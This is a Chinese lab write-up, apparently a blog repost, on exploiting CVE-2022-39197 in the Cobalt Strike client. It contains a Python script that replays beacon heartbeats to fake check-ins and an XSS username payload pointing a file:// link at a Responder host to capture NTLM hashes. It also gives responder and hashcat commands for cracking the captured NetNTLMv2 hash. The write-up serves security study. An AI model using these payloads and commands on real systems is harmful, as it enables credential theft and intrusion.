首页 > 其他分享 >针对CS最新XSS漏洞的详细研究--CVE-2022-39197

针对CS最新XSS漏洞的详细研究--CVE-2022-39197

时间:2022-09-26 09:47:54浏览次数:77  
标签:XSS 上线 加密 -- 39197 192.168 2022 CS

image-20220926091201176

针对CS最新XSS漏洞的详细研究--CVE-2022-39197

本公众号技术文章仅供参考,未经允许,禁止转载!(某些逗比运营就别污染安全圈环境了)

文章仅用于学习交流,请勿利用文章中的技术对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。

1. 原理部分

1.1 CS上线流量

本地主机(vm8网卡): windows11 192.168.52.1

服务端: windows10 192.168.52.129

被控端: windows10 192.168.52.140

首先生成一个裸奔马,然后在被控端打开wireshark并且点击exe上线,我们这里只考虑应用层的包,所以过滤一下,我这里得到4个包

image-20220925143001961

前两个先不看,先看3和4,他们比较亲民点,追踪流发现cookie中存在一个加密过后的值,而凭借经验不难看出很大可能是RSA非对称加密,猜想这个就是上线的请求了(也就是心跳包)

image-20220925143036316

为了验证猜想,我用本地主机利用python发出该请求代码如下(这里为了书写方便附加个hearder转字典地址:公众号后回复“header转字典”即可)

import requests
import time

url = 'http://192.168.52.128/fwlink'
header = {
    "Cookie":"OphJmHM6fR6cjpj4DMdsF3epxwniVsGao14/2a2WmqR0EoEqKdrz92bfuNUurfO1m2NGY/YgEp6tiaZr1JpVaUa2mGYPjEJCiLxBj13VGk31G4E6uI5bG5EPvM4RjWUMZnrlfJiWNGygdJGeH9mpXz40zPFT1VjWd49Wf0QKZog=",
    "User-Agent":"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; NP06)",
    "Host":"192.168.52.128",
    "Connection":"Keep-Alive",
    "Cache-Control":"no-cache"
}


while True:
    requests.get(url,headers=header)
    time.sleep(10)

可以看到达到效果了

image-20220925144510463

当然我们这里想获得类似的信息也可以通过我们上图中第一个请求OwQF来拿Stage分析出来,这里可以用大佬的工具

image-20220925154133839

https://github.com/Sentinel-One/CobaltStrikeParser

image-20220925153457269

上图中PublicKey并不是真正的key,里面有些垃圾填充,就是后边那些AAAAAAA,所以正确的key如下所示

MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCKCnNWl64nFkgSz/CstkQXvrq/6bxXcI55UIsPyzIkoTG/zwF6yxfFTOiufyP4Ji0Dc9dI+K+yZhbr5Ou0h8fSjlOaaD+fEq24JN/BNXGwVTBATmwuxoGRezMxr7XvN2O/mtItwT8uFSv5RsITh1JVC3Qdyt+wO/Ng2L80NepiWQIDAQAB==

到这里就可以利用脚本来达到批量上线的目的了,这里可以利用LiAoRJ师傅现成的脚本达到上线的目的

https://github.com/LiAoRJ/CS_fakesubmit

image-20220925160203103

原理也是非常简单,就是更改对应stage不同位置对应的值

image-20220925160321083


2. XSS利用

​ 目前CS出现XSS漏洞的原因主要是因为CS的客户端可以被HTML渲染,目前已知存在位置为计算机名,username等,因为再前面我们可以自定义上线,所以更改一下这些地方的信息不是难事

2.1 反制获取NTLM

这个是现在网上复现成功较多的,也非常简单,首先我在kali启动responder

responder -v -I eth0

开始监听

image-20220925193907803

这时我们只需要将XSS的payload加到CS的用户名那里,payload如下

<html><img src='file://192.168.52.129/a'%>

我们还是利用fakesubmit,然后将User_name字典的内容改成如下所示,然后上线一台机器

image-20220925204009591

由于我们的这个payload有点长,而原有的fakesubmitrsa.encrypt加密函数最多加密117字节,所以会报错,然后我简单的改了下脚本,如下图所示需要自己对照改

image-20220925210054836

然后直接执行脚本上线

image-20220925204354301

然后再回头看我们的kali

image-20220925204723985

ok,这回我们可以拿着hash去爆破了

image-20220925204925714

创建了test将hash放进去

#-m 指定密文类型,5600对应的就是NetNTLMv2
#--force 为忽略警告
hashcat -m 5600  ./test /Black/zidian/fuzzDicts/passwordDict/top500.txt --force

爆破成功

image-20220925205020596


参考:https://forum.butian.net/share/708

标签:XSS,上线,加密,--,39197,192.168,2022,CS
From: https://www.cnblogs.com/XXST/p/16729793.html

相关文章